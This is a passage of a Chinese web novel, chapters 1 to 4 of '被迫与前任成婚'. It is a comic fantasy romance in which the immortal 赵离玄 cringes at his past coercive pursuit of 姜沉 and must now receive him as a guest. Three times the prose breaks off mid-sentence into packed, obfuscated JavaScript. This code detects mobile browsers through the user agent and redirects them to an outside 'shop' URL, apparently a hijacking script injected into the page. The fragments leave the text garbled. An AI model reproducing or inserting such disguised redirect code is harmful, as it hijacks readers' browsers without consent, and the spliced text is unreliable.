《被迫与前任成婚》 1. 第 1 章 “小姜。” “小甜姜,醒醒。总睡外面会着凉的。” “再不醒,我要亲你啦?” …… 寻常的农家小院,土坯还染着雨后泥土的微腥。 院角浓绿的藤蔓肆意攀满了简陋的竹架,星点开着鹅黄色的丝瓜花。暖融阳光被滤得斑驳,洒在架下之人棱角分明的侧脸上。 姜沉睡在竹制躺椅上,如墨如画。 长睫在眼下投出浅浅阴影,墨发长长散落。连那平日里总是紧抿、显得过分冷硬疏离的唇亦在睡梦中柔和下来,带着不设防的安宁。 如此美好图景。 偏偏躺椅边,还蹲着个一身织金锦袍的纨绔青年! 仔细看,那纨绔正托着腮傻傻带笑,满心满眼的清澈愚蠢。 他自顾自地炙热盯了睡着之人好一会儿后,又情难自抑地俯身,凑过去想要偷尝一口那片静谧的柔软。 却在双唇即将碰触的一瞬—— 啪叽,梦境骤然塌陷。 赵离玄猛地惊醒,一个鲤鱼打挺从床上弹坐起来,胸口剧烈起伏,大口喘气! 噩梦…… 天大的噩梦!!! 好在睁眼后,怀里并无梦中人的体温,亦没有阳光晒着草木和泥土淡淡的青涩暖香。 “……”即便如此,赵离玄恍惚看向周遭,心脏仍咚咚直跳! 还好还好,周遭景致仍是他住了二十年的梨花水榭。熟悉的醉仙花梨木制成的桌椅门窗,一缕晨光正从精雕细镂的窗棂间透入,照着临窗书桌及旁边多宝阁上错落放着些古籍玉简、青瓷茶具、紫铜香案。 一切风雅,早已不是梦里肆意长草的小院! 香案之上,昨夜新点上的那支上品的甘松佛手安神香还残留清甜宁神的丝丝余韵…… 赵离玄缓缓呼出一口气,下床走向窗边。 窗外朝霞漫天流淌,绚烂如织锦。 这里是不染仙界。 至于梦里的人间界,他早已多年未回、也再不会回去了! …… 仙界的清早极美。 因而大概不会有人想到,在这如画美景之下,最以“雅韵端方”著称的黎玄仙君,会一大清早毫无形象地自暴自弃、长吁短叹、坐立难安、默默以头撞冰凉坚实的梨木窗框。 咚、咚、咚。 如果可以他也不想发癫。 可是到底为什么啊?! 明明那段不堪回首的黑历史都过去那么多年了! 他也早已洗心革面、重新做仙,为什么还是会时不时梦回当年啊? …… 好容易将羞耻撞散几分,赵离玄生无可恋地去梳洗。 半死不活从黄花梨衣架上取下他那件素白杭绸直裰,撩起的长发则用一根银丝发带在脑后束起…… 一番收拾后,再路过等身水镜。 镜中的男子已是一袭素白,高挑挺拔,清明平和,纤尘不染,端的是一副“雅正冷峻”“云淡风轻”的仙君典范,同梦里穿金戴银的混账二世祖样子天差地别! 笃笃笃—— “仙君仙君~您醒了吗?” 门被轻轻叩响,轮值的小童提着食篮,声音清脆。 “今日的早点到啦,是热腾腾的桂花甜糕!因最近天气转凉,小厨还特意准备了醋渍甜姜预防风寒,请仙君慢用!” “……” “哎,仙君怎么了,莫不是今日的早点……不合仙君口味?“ “……” “不,我……咳,辛苦你,”赵离玄深吸一口气,勉强挤出温和笑意,“多谢你费心特地送过来。” 可即便他掩饰得努力,小徒离开时,脸上还是带着几分迷惑与探究。 仙君今天怎么有点怪怪的? 看糕点的眼神,为何竟如看到了洪水猛兽一般? …… 小徒的脚步声远去,门扉轻轻合拢。 “……” 甜姜,甜糕。 赵离玄生无可恋看着食盒,无数尘封回忆袭来—— 【姜沉,字临渊?哪个沉,落雁沉鱼的沉吗?】 【沉沉,算命先生说你寒凉之症一直不好都是因为名字太冷了些。不然我以后叫你姓氏可好?姜是温中散寒的暖物,叫多了你的身体肯定能快点好起来。】 【小姜……小姜……嘿嘿小姜。】 【不如叫小甜姜?】 【小甜姜小甜姜,今日悦灵庄送来了对暖身大有补益的火砂果,我给你剥好了,你练完剑记得吃啊!】 【甜甜早点睡,熬夜对身体不好。先亲一个。】 【好甜甜,你别总气鼓鼓的行不行?好好,知道啦,我以后不乱叫了就是了。】 【嘿嘿就要乱叫。小甜姜,甜甜,小甜糕……】 “……” 哐哐哐。 哐哐哐哐哐哐。 无数羞耻回忆,直令此刻的赵离玄如坐针毡、如芒在背、如鲠在喉。 羞耻到实在情难自抑,只能再度以一种完全不雅的姿态再度哐哐头砸餐桌。 不堪回首。 不堪回首啊啊啊!!! 话说他当年究竟是什么清奇思路,才会自顾自给心上人起一堆烫嘴的食物昵称? 如今可好。这一大清早的,不仅索命甜姜正滋啦啦冒着热气,追魂甜糕上甚至还被今日的面点师傅贴心地画了了个歪歪扭扭的小笑脸。 正在对他微笑……不,是大肆嘲笑!!! 笑他黎玄仙君年轻时就是那么个完蛋玩意儿! 救命。 救、命。 黑历史如影随形,救命。 …… …… 说起赵离玄年轻时那段不堪回首的黑历史,非要剥茧抽丝吧,其实内容还蛮人间俗套的。 简而言之就是—— 人在年轻的时候若过得太顺,往往就容易陷入一种不知天高地厚的过度乐观自信。 而赵离玄当年,就是个中典型。 彼时初出茅庐的年轻小仙赵离玄,还没有如今“黎玄仙君”这种如雷贯耳、自带光环的雅号。 那时的他,不过是一个性格开朗、资质不凡又家底雄厚的逍遥快活仙二代而已。 兄长是不染仙境浮熙宫的主人,又对他这个唯一幼弟十分溺爱。他从小如何锦衣玉食、被同门众星捧月着长大,可想而知。 偏他还生了一张无可挑剔的脸,又十分开朗大方、挥金如土。外头也从不缺阿谀奉承的狐朋狗友,日子过得那叫一个逍遥快活不知愁为何物。 有钱有闲没责任,事事顺心。 如此人生一叶障目久了,真就觉得自己是天选之子,合该人见人爱花见花开。 于是十八岁那年,见师兄师姐们纷纷跑去人间界,他亦心头一热,不知天高地厚地跟风收拾行囊,也溜去人间界历(游)练(玩)。 结果就是不慎法宝故障、失足遇险,一来就被卡在荒山树上整整三天。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581998|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 险些成了开天辟地头一个被饿死在山里成为干尸的仙二代。 就在他即将以这种极不体面的方式被载入仙史时,上山采药的姜沉路过,将他给救了下来。 姜沉生得冷峻动人、身世凄惨、倔强寡言、又对他有救命之恩。 几重因素叠加,赵离玄轻易就被迷住了眼捉住了心。一见倾心的结果,就是从那天以后,赵离玄的人间界历练就果断变成了一项十分单一的活动—— 每天雷打不动高调去蹲姜沉,笑脸相迎。 同姜沉花式搭话、自我推销。 一边“本仙君无以为报只能以身相许,你快点让我以身相许”,一边挥洒千金送各种礼物、没事快乐尾随、偶遇调戏,又像个护食斗鸡一样梗着脖子到处跟所有人宣扬“我在追小甜姜的啊!你们统统不要来跟我抢”。 最后他也终于如愿以偿。 将人连哄带骗、威逼利诱地弄回家养了起来。 成功养上了姜沉以后,赵离玄日常更是不在给姜沉买礼物的店里,就是在去给姜沉买礼物的路上。 成天乐陶陶围着姜沉打转,往人身上腻歪,从各种小话本上学会了无数情话绵绵和虎狼之词,没事就拉着姜沉白日宣淫、妖精打架、暧昧狎昵、夜夜笙歌。 当年的赵离玄自我感觉过于良好。 加之脑袋全然是摆设。 以至于他单方面看上了别人后,竟从来没有思考过另一个非常重要的问题—— 别人有没有看上他。 姜沉冷着脸不肯搭理他,他自顾自断定那必是姜沉“生性害羞、不善言辞”。 姜沉阴恻恻盯着他,他则感叹“我家小甜姜真是连生气都这么别具一格但没办法谁让我喜欢他呢所以只能宠着”。 姜沉恨恨说不想和他在一起,他转头跟酒友开心炫耀“你们都不知道我家临渊别别扭扭口是心非闹小脾气的样子有多可爱!” 就连姜沉几次三番收拾行装要走,他也仅仅只是十分疑惑,并真心诚意担忧道—— “可是小姜,如今外面那么危险,像你这样身体不好法术又弱的妖仙,离了我谁还能护着你啊?” “小姜,就算你不为自己着想,也要替小芙妹妹考虑下不是吗?” “真的,可不是我危言耸听。你今天踏出我府邸一步……咳,马上就有凶恶人仙把你们兄妹俩抓走、大卸八块,练成丹药,你信不信?赶紧回家,乖。” 于是就这样,在他年少无知又完全有病的思路运作之下…… 年纪轻轻的赵离玄,轻易就完成了死缠烂打、仗势压人、以权倾轧、强取豪夺、威逼利诱、逼良为娼一条龙的操作。 成功在人间界大刑律的边缘反复横跳。 唉。 如今赵离玄再回想起自己那些年自作多情又缺失脑干的种种作为,都羞愧得恨不得能当场原地爆炸。 以至于之后二十年,黎玄仙君在清修之余,时常都在歪头思考一个严肃的问题—— 就是,这世间到底有没有什么玄妙仙法,能让如今光风霁月的他拒不承认那蠢货就是当年的自己? 又或者,是不是存在什么逆转时空的禁术? 那他一定第一时间杀回二十年前,将当年那个倒贴丢脸、不知所谓的脑残二世祖切吧切吧剁了喂狗,以全他黎玄仙君今日清誉! 或者至少。 能不能至少让他找到一个仙法,让所有当事人都对那段经历失忆啊? 他愿意付出任何代价! 2. 第 2 章 黎玄仙君是个好仙君。 纵使生无可恋,还是秉着不浪费的朴素原则,顶着一脑子挥之不去愚蠢回忆默默吃完了早点。 天知道,他其实最讨厌甜食。 而甜食之上,更是无比、无比厌恶生姜,在遇到姜沉之前,他就连看到此物都要赶紧退避三舍,堪称生平第一忌口。 偏偏在人间界那几年,他却因为爱屋及乌,成天硬着头皮逼自己顿顿吃姜。 ……如今想想,到底有什么意义? 仿佛他多吃几块姜,姜沉就能多喜欢他一点似的。 他怕不是脑子被天外飞石砸过??? 虽说人不犯蠢枉少年,可过于清澈愚蠢想来也是难堪。 正想着,外面广场上的清修钟鼓适时敲响,晨会时间到了。黎玄仙君赶紧囫囵塞下最后几口。 呜。甜得好腻,痛苦面具! …… 打着盹熬过冗长的晨会,赵离玄果断又投身仙法典籍浩如烟海的藏书阁。 是的,这么多年了,他仍旧对那个或许存在的能让所有人失忆仙法念念不忘、贼心不死! 非要找到不可。 可惜天不遂仙愿。今日的黎玄仙君怀抱着饱受创伤、残破不堪的羞耻心,在藏书阁耗费了一个宝贵的上午,遍翻古籍再度一无所获。 倒是顺手找到了几个颇为有趣的小仙法,诸如“点石成包”、“空谷生花”,便随便学了一学、练了一练。 很好,又多些稀奇古怪的小法术帮他逃避现实。 总之,只要继续假装对某段黑历史失忆,今天就又是轻松愉悦、优雅端方的一天! 逃避可耻但有用。 然而转眼日头高悬,午膳的时辰又到了。 赵离玄只希望今天中午的食物别再有姜…… 想着,缓步走出藏书阁。却见一大清早还碧空如洗的天际竟已淅淅沥沥地下起了薄雨,天地间蒙上了一层湿漉漉的纱幕。 好在藏书阁常年备有雨伞。 赵离玄从一众各色油纸伞中挑出了一把极其精致漂亮的百色长蝶银宣华伞,指尖优雅抚过抚伞柄下坠着的、来自仙都第一饰品店“沉木庄”的碧睛白玉苏蝉丝绦络子,满意撑开。 就这么一身素白道袍,从容步入那烟雨朦胧、亭台楼阁宛如水墨画卷的景致之中。 藏书阁到他的住所梨花水榭不过一炷香的短路。 如此凄迷雨景,配上他这潇潇白影缥缈出尘之姿…… 也不怪远处几个廊下躲雨的年轻弟子,一个个都远远往这边看呆了眼。赵离玄一向耳力敏锐,清晰捕捉到了他们压低的感叹: “快看快看,今日运气真好,得见黎玄仙君!” “仙君素来严肃谨慎,平日里总是深居简出难得一见呢。今日竟能见其雨中漫步,真是不虚此行!” “听闻仙君虽看似疏离清冷,可平日里门内弟子若真遇到什么麻烦难以解决,他素来是能帮就帮呢、从不推诿呢!” “黎玄仙君看似高高在上,实则很是平易近人,热心温厚,是位真正难得的君子!” “所以才会连年票选都是咱们浮熙宫“我最爱戴的仙君”之首吧?” 赵离玄:“……” 他应得的。 不枉费他这二十年如一日端着架子,每天一袭白衣潇洒啊潇洒缥缈啊缥缈。如今人人提到黎玄仙君,谁不要说一句“俊朗雅逸,风姿冠绝浮熙宫”? 当年穿金戴银、活蹦乱跳的二傻子早已脱胎换骨,如今只有清冷淡泊的黎玄仙君。 如此。 赵离玄脸上不表,只伞沿微微下压,遮住唇角一丝几不可察的得意。继续维持着那副完美的仙姿,飘飘然向着梨花水榭行去。 风景也美,人也惬意。 烟雨朦胧中,已经能望见梨花水榭那熟悉的飞檐翘角。 他却千不该万不该,偏生脑子里突然不合时宜地冒出一个要命的念头—— 这种像雾像雨又像风、灰蒙蒙湿漉漉啥也看不清的天色……好像二十年前,他与姜沉最后分别的那个早上啊。 “……” 不,等等,打住。 “…………” 大好人生,想点别的。 “……………………” 都说了想点别的!!! 犹记二十年前分别那日,也是这般白雾浮荡的细雨。 他一袭被血和泥泞染得看不出原色的红衣,拖着一身的伤,强忍住快要落下的泪水,可怜巴巴又傻兮兮地踉跄走到姜沉面前。 【小姜,我知道错了……不要走好不好。】 【我会改的,什么我都可以改。留下来,别走好不好。我们……我们重新开始好不好?】 【小甜姜,我是真的喜欢你啊。】 【我们都在一起两年了,两年,七百多个日夜呢……】 【在这两年里,你难道……就真的从来不曾有一点点动心、没有一点点喜欢过我吗?】 【……】 【是吗,从来没喜欢过我啊。原来我在你眼里那么讨厌……对不起,我还以为,还以为……】 【原来都是我自作多情了。】 “…… 啪叽。 顷刻,宣华伞那精心雕作的碧睛白玉苏蝉丝绦络子,就在他修长五指骤然发力之下,被硬生生捏成了齑粉。 雨水涔涔,黎玄仙君额边青筋突突跳。 脸上全不见平日里的稳重端方,反而狰狞得活像个马上要去杀人越货、屠城积德的恶棍老魔。 真·羞耻。 羞耻到面目狰狞。 羞耻到杀心顿起! ……人不能,至少不应该。话说他当年究竟为何那副德行??? 事实证明,无论多么刻骨铭心的自作多情,经过漫长时光的反复淬炼,最后余下的就只有积年累月的磅礴羞耻,与恨不得掐死当年自己的悔不当初。 时隔二十年,黎玄仙君此刻已再也记不起一丝一毫当年那撕心裂肺的肝肠寸断。 他当年真傻,真的。 且不说一堆让人翻白眼的无能蠢话能把人给哄回来才有鬼。 就说他当时满身的伤—— 那可是当年在人间界,妖仙与人仙阵营最大规模的惨烈火并,两方仙法无情对轰的华丽成果! 他是纯血人仙,爹娘祖宗十八代都是,纯得不能再纯。 姜沉则是妖仙。 彼时两边势同水火,他又不舍得对姜沉出手,只能被对方用凌厉剑阵戳了个对穿。 然而都被戳成那刺猬样了,当年的他却还能一梦不醒,继续在第二天一大清早带着一身的伤,干出执迷不悟、泪眼朦胧、低声下气地去人家道歉求和的智熄操作! 真·无话可说。 倘若当年的小赵此刻能站在他面前,如今的黎玄仙君绝对要当场一巴掌扇死那个孽畜。 究竟是什么等级的情圣? 简直恐怖如斯! 需知那时节人仙与妖仙剑拔弩张战火纷飞,但凡碰面就是不分青红皂白便要斗个你死我活,管他谁来,打死完事。 就在那么个随时小命不保的恶劣环境下,他头一天侥幸没被砍死,居然还敢拖着重伤之躯,在第二天清早一腔孤勇深入敌营,就为了去向刚砍了他十几剑的无情前任求复合??? 这何止恐怖如斯。简直前无古人后无来者,千里送人头礼轻情意重! 真的,他也就是运气好。 但凡那日姜沉再狠辣半分,绝对能神不知鬼不觉带地着一众妖仙彻底做掉他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581999|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扒皮拆骨、灵核湮灭,干干净净不留一丝痕迹,弄成一桩永无对证的仙界悬案。 综上所述。 像他这么蠢的仙二代,居然能活到今天,还阴差阳错地混成了赫赫有名的“黎玄仙君”。 这简直就是仙界奇迹。 …… 那天,赵离玄最终没能成功晃荡回梨花水榭。 他在半路被两位好友截住了。 “正到处寻你。” 浮熙宫宫主夏云阶,以及总是萦绕着青草药香的师兄郁如沐,一左一右,极为自然地挟住了他。 赵离玄:“啊,怎、怎么了?” 夏云阶眯起眼瞧他:“还问?” 郁如沐则叹息:“果让云阶说中,今日晨会你又是人在魂游,半个字未曾入耳。” 赵离玄:“……” “平日便罢了,”夏云阶无奈,“今日商议之事却非同小可。离玄你怕是这些年日子过得太逍遥,早就忘了……仙妖血盟已近二十年,马上要开‘猎魔月狩’?” “……” 赵离玄一时愣住。 二十年前那场惨烈至极的仙妖内战,双方顶尖强者不顾后果死斗,最后造成三界巨荡、甚至不染仙境一分为二的恶果。 仙界崩裂更是牵连了维系三界平衡的封魔大阵,封印被破,魔气倒灌,被镇万古的魔族几乎冲破封印,险些让仙界人间彻底陷入灭顶之灾。 存亡之际,还是上任浮熙宫主赵岚泽以身为祭,燃尽仙魂强行弥合阵眼,这才堪堪挽回浩劫局面。 赵岚泽献祭后,众人仙妖仙终于醒悟,罢手言和。 两方在人皇的见证下,立定血誓盟约,约定摒弃前嫌,共同守护这来之不易的三界平稳。 然而封魔大阵虽然重铸,因仙界分裂而在三界交汇处形成的流霭隙渊,还是渐渐魔气郁结、魔兽魔植滋生横行。 尤其每年天地循环、魔气鼎盛时,更屡有强大魔物试图越过隙渊,侵扰仙境与人间界。 为抵御魔患,仙妖两界能人异士常年轮流巡狩隙渊。 十年前,更是由人间界最高仙门燎原庭组织了一次对流霭隙渊的大规模清剿月狩,功绩卓著。 “……”赵离玄只是不成想,明明那次月狩仿佛才过不久,却竟已是十年之前的事了。 时间过得那么快。 “是啊,日月如梭,”夏云阶道,“犹记上回大猎,虽是妖仙牵头,但不染仙境亦有不少同道人仙前往助阵。” “如今又过十年,也该我们人仙担起猎魔重任。此次统领清剿,既是仙帝给我浮熙宫之殊荣,亦是对岚泽师兄仙魂告祭,必要杀得那些魔物片甲不留!” “……” 赵离玄闻言,却是略略沉吟:“只是师兄,猎魔绝非易事。听闻上回燎原庭虽功勋卓著,亦伤亡惨重……” 夏云阶颔首:“我知你意思。所以这回为求万全,我日前已书信送往人间界,诚邀燎原庭众位道友前来协备此次大猎。” “想必,他们经过上回一役,必颇有经验以供我等参考。” 郁如沐亦接过话头:“离玄你还不知道吧?燎原庭上月新换了仙首,正是咱们以前的紫苑大师姐!” “师姐对咱们的事自然极为上心,已回信说要将燎原庭最顶尖的妖仙大能一个不剩,全部带来支援!” 赵离玄:“……” “全部?” 郁如沐:“是啊。哎,怎么了离玄,你的脸色为何忽然古怪?” “云阶,你快看看离玄是怎么了,他……似乎有些僵硬石化。” “对了,说起二十年前那次仙妖大战,离玄虽年纪尚轻,但当时……似乎也在人间界游学。” “莫不是此次燎原庭来的妖仙里,有你当年的旧相识?” 3. 第 3 章 如果可以,赵离玄很想否认他在人间界有熟人。 可谁让这几年,下界最享誉盛名、公认战力超群的妖仙大能,偏生就是那十年前在猎魔月狩一战扬名、如今执掌燎原庭刑律的执剑阁仙尊—— 姜沉,字临渊的那位! 呵呵,人生何处不相逢!! 赵离玄被二位师兄拎进了浮熙宫正殿,很快就被编入了此次猎魔月狩的筹备司。 宫主夏云阶清越威严的声音在殿内回荡,字字清晰: “我等人仙与下界妖仙,虽源流有异,然皆秉天地灵气而生,同列仙班。奈何数千年来纷争不断,二十年前那场阋墙血战,更是险叫魔族有了可乘之机,亲者痛仇者快!” "幸而自那之后,两族放下成见立约修好,至今已和睦二十载。" “然眼下流霭隙渊魔气复涌,我浮熙宫特意诚邀燎原庭众道友前来协理猎魔月狩,旨在巩固盟谊,共御外魔。” "仙魔不两立!还望诸位谨记,人仙妖仙当同气连枝,将仙族存续苍生安危置于首位。此番狩猎,务求以最小代价消灭魔患,保全我辈修士尽数平安归来。" “因而本座严令,浮熙宫上下务必谨言慎行,礼待众位妖仙道友,和睦相处、不可怠慢!若有胆敢口出妄言、滋生事端者,无论身份,浮熙宫必严惩不贷!” “会后,贵宾名录将分送至各位仙君住所。” “还请诸位仔细阅览,熟记于心,届时向燎原庭众仙友虚心请教。好了,散会!" “……” 会后,赵离玄脚步虚浮地回了梨花水榭。 盘膝静坐,只认真思考一个问题—— 人间界与不染仙境说远不远、说近不近。算下来,鹿紫苑一行人既已出发,大约……最多还有两日,便能抵达。 尚有两日光景…… 他能不能现在立刻马上宣布闭关啊? 又或者干脆剃度出家、立地成佛,从此云游四方、下落不明。 再不济,假装走火入魔兵解转世,再投胎做个只知道吃和睡的神兽貔貅? “……” 只要能避开故人,他宁可不做仙! 当然,这些念头也就只是想想而已。作为筹备司一员,他哪有地方可躲? 一堆差事随即如山海般压来,顷刻应接不暇。有人忙着礼品与膳食,有人统筹登记与接待,而他除了到处帮忙救火—— 更是被一致推举,成了月狩期间庆典宴会的首席司仪! 众:“这次定要叫那群没见过世面的人间界妖仙好好看看,什么叫优雅缥缈、仙风道骨,什么叫浮熙宫门面!” 赵离玄:“……” 虽说以他如今雅韵,自信不会给仙门丢脸。 却有一个问题—— 他当年毕竟……可是在姜沉面前表演过全套智力低下、丧心病狂、爱而不得、花式发癫、强取豪夺和鸡飞狗跳的!!! 如今却要端着这副道貌岸然的姿态,上台当司仪? 救命。 真让姜沉见了他如今这身"清雅端方"的皮,还不知要被心底怎么嘲笑——当年死不要脸的舔狗,如今倒是装得人模人样、清心寡欲了? 简直是把他钉在耻辱柱上反复鞭尸! 好在,一盏香燃尽后,赵离玄成功自我安慰—— 事情也未必如他想的那么糟糕。 毕竟按照一般情况,皇帝御驾亲征都知道留下太子监国。燎原庭仙首鹿紫苑都亲自来了,二把手姜沉则自然应该全程留在人间界坐镇看家才是。 何况以他对姜沉的了解…… 根本无需他躲,姜沉也会主动对他退避三舍!毕竟他当年是那般厌他、恨他入骨。 ……有道理。 如此一想,赵离玄长长松了口气。 恰在此时,门外轻叩。仙童正将装帧精美的贵宾名录送至梨花水榭。 赵离玄默然收下,慢吞吞将那仙气袅袅小册子的红丝线解开。 “……” 上天保佑,姜沉的名字千万别在上面。 怀着赴死的心情翻开小册,首行贵宾在列赫然是:燎原庭尊主·鹿紫苑。 指尖微滞,继续翻至第二页:守约仙尊·楚浮生。 赵离玄陡然心头一松——谢天谢地,二把手不在第二页,姜沉不会来了! 可惜高兴得太早。 翻到第三页,白纸黑字,冰冷刺目: 执剑仙尊·姜沉。 “……”一丝侥幸,破碎得如此利落。 倒也怨不得排序有误。姜沉虽是燎原庭实权在握的二把手,但论及明面上的位阶,负责文职的楚浮生确实略高他半级。 可这种写法,却真实让赵离玄体验了一把何谓黄粱一梦、乐极生悲。 他恍恍惚惚继续翻小册子。 “……” 如夏云阶所说,同样是仙,皆为天地灵气所钟。人仙与妖仙唯一的区别,无非仅在溯源不同。 人仙由凡人修炼得道,妖仙则是山精水怪、草木鸟兽开启灵智而成。 虽溯源殊途,可一旦大道得成,二者便再无高下之分。 妖仙既已修得仙身,就也与人仙一般无二,都可修习同等仙法,参悟同等天道,飞升同等境界。绝无人仙高妖仙一等的道理,千万年来,甚至还有不少妖仙大能修为悟性胜过同侪人仙。 可即便如此,许多人仙心底还是自认优越,打从骨子里瞧不起妖仙。 “修为再高又如何?千百年前,不过是只山野狸猫……” “原身无非是株墙头草,竟也敢与我平起平坐?” “此仙倒推千年,就是个亡国之君几案上的铜香炉!” 终于在千年前,矛盾彻底激化。 众仙心性不同,有人喜欢仙境清净,有人留恋人间烟火。千万年来,无论妖仙人仙,本都可依其心性在上界下界随意各择居所。 可千年前,人仙们却开始抱团占据不染仙境,排挤逼走众妖仙。 从一开始的暗戳戳,到后来的明目张胆。再到人仙仙帝公然在三界石上施下禁制,从此不染仙境彻底划为人仙独享,众妖仙皆被拒之门外。 如此不公,众妖仙又怎堪忍受? 仙族史上第一次大规模内战由此而起。此后千年,两族只在魔界入侵时不得不短暂联手,其余岁月也尽是摩擦不断、相互敌视。 这大概也是为什么,明明此次猎魔是浮熙宫主动申请特批通行令邀请下界妖仙们上来帮忙,夏云阶却仍要三令五申绝对不许怠慢。 只因若不如此,只怕真会有傲慢人仙不知所谓,主动挑起事端! 赵离玄叹了口气,合上册子。 他看完了。 鹿师姐果然是倾尽全力,将燎原庭所有叫得上名号的仙君尽数带来,一个不留。 唉。 半晌,赵离玄失魂落魄飘到水盆前,掬起凉水狠狠拍在脸上。 啪啪啪—— 也罢。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582000|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 仙生在世,不称意之事十之八九。往好里想,毕竟二十年都过去了。 当年吊儿郎当的混账二世祖,都混成了稳重雅正的黎玄仙君。 姜沉也早非昔日那个备受欺凌、无依无靠的孤苦少年,而成了威震一方的执剑仙尊。 一句话,千帆过境,大家都有了光明的前途。 在彼此都经历了广阔天地后,按说……陈时恩怨、年少荒唐,也早该被抛诸脑后了吧? 更何况。 当年再是他为富不仁、强取豪夺有错在先。姜沉也亲手一一报复回来了。 分开时,双方也是亲口承认“两清”了的。 都两清了,又哪还有什么恩怨? “……” 这么一想,赵离玄豁然开朗。 当即又静心打了一个时辰的坐,待灵台一片清明后,这才重新拿起贵宾名册,仔细翻阅。 这名录做得极为详尽,不仅收录了人间界众仙君的姓名尊号,连各人性情癖好、过往经历、喜恶忌讳等情报都一一在列。 如鹿紫苑名下,就洋洋洒洒写了两页之多,楚浮生也占了一页半。 关于姜沉的记载虽不到一页,却也字字详尽: 姜沉,执剑阁仙尊,真身蝴蝶仙。 性情孤冷,口吃寡言。早年流落乞讨,十岁被养父罗严收养,十一岁拜入萧雪楼。初时籍籍无名,后显露殊法奇才,于人间界试法大会五连榜首。二十岁迁居妖明界,传闻曾与妖明王独女雪盈公主订婚,却不知何故于四年后重返人间,后拜入燎原庭,因战功显赫晋升执剑仙尊至今。无婚配。 喜好:音律(尤擅笛艺),甜食,鸟类。 厌恶:兔类,鱼类。 “……” 不得不说,浮熙宫情报能力出众。 只有一点有误——姜沉并非天生口吃,而是幼年乞讨时遭恶人毒手,被毁了嗓子,连舌头也被残忍剪坏,才致言语艰难。 但除此以外,小册上内容可谓详尽。 远胜他当年耗费两年朝夕相处、软磨硬泡才打听来的那点皮毛! 就比如,连他都是看这小册才知晓,原来小姜…… 呸!什么小姜,是尊贵的人间界执剑姜仙尊——他竟是只蝴蝶妖。 犹记当年,关于姜沉到底真身到底是个什么妖,他可是床上床下缠着问了无数次,都始终未能得到答案。 如今可好。 事实证明姜沉只是不爱搭理他一个罢了,别人一打听就什么都知道! 赵离玄长叹一声。 也罢。 不知也好。否则就以他当年那爱给人起羞耻昵称的德行,只怕除了“小甜姜”,他还要叫他小蝴蝶,甚至小菜青虫。 分手时肯定是要罪加一等、被更讨厌,再多挨几剑。 ……当真是不堪回首。 正思绪纷杂间,檐下风铃轻响,有人踏入他的梨花水榭。 来者正是夏云阶。 夏师兄虽当了宫主,行事却一如年少时般开门见山、直截了当: “离玄,你当年在人间界时,与执剑仙君姜沉是同门?” “呃,这……” 如果说他当年为了追求人家而到处塞钱走后门硬挤去旁听的撒币行为,也能勉强算是“同门”的话…… 夏云阶颔首:“如此甚好。此次就由你专门接待姜沉仙君,早做准备。” “……” 不是,等等。谁专门接待谁? 4. 第 4 章 夏云阶来也匆匆去也匆匆。 他走后,赵离玄再度一头栽进软枕,咚咚咚撞。 依照三界礼仪,招待贵客应当对等接待。主方仙首接待客方仙首,二把手对接二把手,以此类推。 然而浮熙宫在夏云阶之下,并无明确排序的“二把手”,所以按理说,派任何一位高阶仙君去接待姜沉,也都算合乎礼数。 不幸的是,在这二十年间,除了赵离玄,他的同僚仙君们人人都曾多次公务造访过人间界。 自然都领教过某执剑仙尊的孤冷刻薄与极难相处! 于是这次接待,其他仙君火速甩锅,毫无人性地就把这烫手山芋丢给了一向好性子的赵离玄。 呵呵,有句话怎么说的来着? ——我就知道别人不挑剩下的,也轮不到我呀! 只是今日这个“挑剩下的”,他是真不行!毕竟他才是这天底下最不该、也最不能接待姜沉的人,没有之一。这是要出外交大问题的!!! “仙首……” 晚膳后,赵离玄痛定思痛,还是愁眉苦脸寻到了夏云阶。 夏云阶抿茶浅笑:“的确是因那位姜仙尊性子孤冷,才特意委派于你。” “毕竟离玄你风雅博学,性情平稳,又年年票选皆是‘浮熙宫最受爱戴仙师’,从未曾见过有谁不喜与你相交。便是枫语那般刁蛮性子的,在你面前也要乖巧几分。” “想来,即便对方再如何桀骜,你亦能从容应对、平之顺之。” “……” 不,换成别人,或许他还能试着平之顺之。 唯有姜沉,他绝对做不到啊? 赵离玄只能继续试图挣扎:“仙首,实不相瞒……我早年虽与那姜仙君虽有同窗之谊,但、但不幸……后来关系极为不睦,龃龉……甚深。” 夏云阶挑眉:“哦?” “此话怎讲,详细说说?” “……” 但这要他怎么详细说啊?! 总不能实话告诉夏师兄,他当年曾仗势欺人、强取豪夺,把人强行弄回家成日不是搂搂抱抱就是亲亲啃啃,更时常逼人跟他这样那样,夜夜笙歌,翻来覆去,快活无边??? 救命。 黑历史太黑,罄竹难书。幸好当年两人都籍籍无名,这段荒唐往事才未流传开来。 他才不要剥茧抽丝一条条说给夏云阶听! 